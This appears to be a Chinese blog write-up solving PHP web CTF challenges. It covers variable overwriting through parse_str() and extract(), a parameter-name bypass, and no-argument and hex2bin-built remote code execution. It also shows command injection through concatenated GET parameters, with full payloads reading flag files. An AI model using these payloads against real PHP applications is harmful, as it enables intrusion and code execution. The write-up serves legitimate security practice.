定义俩变量key1和key2并且赋值为0

之后就是检测是否通过get或者post传参发送了flag1或者flag2有一个就直接die

这里要了解一下parse_str()函数
parse_str()函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量,导致变量覆盖漏洞。

这里再结合之后的extract()获取post的请求内容
extract() 将 $_POST 数组的键名作为变量名、键值作为变量值,覆盖已有同名变量。
若POST中也有flag1,则它会覆盖parse_str()生成的$flag1。

这里我们就可以通过get传参来传到post请求中

?_POST[flag1]=8gen1&_POST[flag2]=8gen1

这个就绕过了第一层

然后让我通过post传参传504_SYS.COM
这里其实是要绕过php不允许传非法字符

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
所以这里就可以变成

504[SYS.COM

最后解析之后就是504_SYS.COM

最后可以看下被过滤了非常多的符号,异或,取反,自增也是不行这些都别想了

方法一(直接输出)

echo $flag

image

无参数rce

方法二

image

常规方法

sys=var_dump(scandir(current(localeconv())));

再来获取

highlight_file(next(array_reverse(scandir(current(localeconv())))));

image

方法三

这里可以只用hex2bin()再搭配传参来获取

image

1这里的是system('tac flag.php');

得到flag

image

非常好绕的命令执行【polarctf-困难】

打开环境

image

这里先是3个get传参

之后就是一个拼接
最后拼接出来的是这样的

$args1($args2)($args3);

之后就是一串黑名单

evil中不能有黑名单的
然后注意后面两处

ctype_space()检查字符串 $evil 是否仅由空白字符组成
空白字符包括:空格( )、制表符(\t)、换行符(\n)、回车符(\r)、垂直制表符(\v)、换页符(\f)
true:字符串全为空白字符(如 " \t\n")
false:字符串包含非空白字符(如字母、数字、标点)或为空字符串

ctype_graph()检测字符串是否仅包含图形字符(可打印字符,不包括空格)
true:字符串中所有字符均为图形字符(无空格或控制符)
false:字符串包含非图形字符(如空格)或为空字符串

所以简单来说就是必须只能由可打印字符且不能由空格

所以这里我们先要解决怎么利用拼接来运行代码

image

后面那个()纯粹多余直接注释掉

?args1=echo&args2=1);//&args3=1

image

方法一

直接使用`反引号来进行命令运算

?args1=echo&args2=ls);//&args3=1

image

这里其他符号被过滤了使用<来绕过空格

?args1=echo&args2=cat<flagggg);//&args3=1

image

方法二

这里使用he2bin来构造出system然后就再运行

所以这里构造payload

?args1=hex2bin&args2='73797374656d'&args3='ls'

image

posted @ 2025-07-22 10:32  crook666  阅读(112)  评论(0)    收藏  举报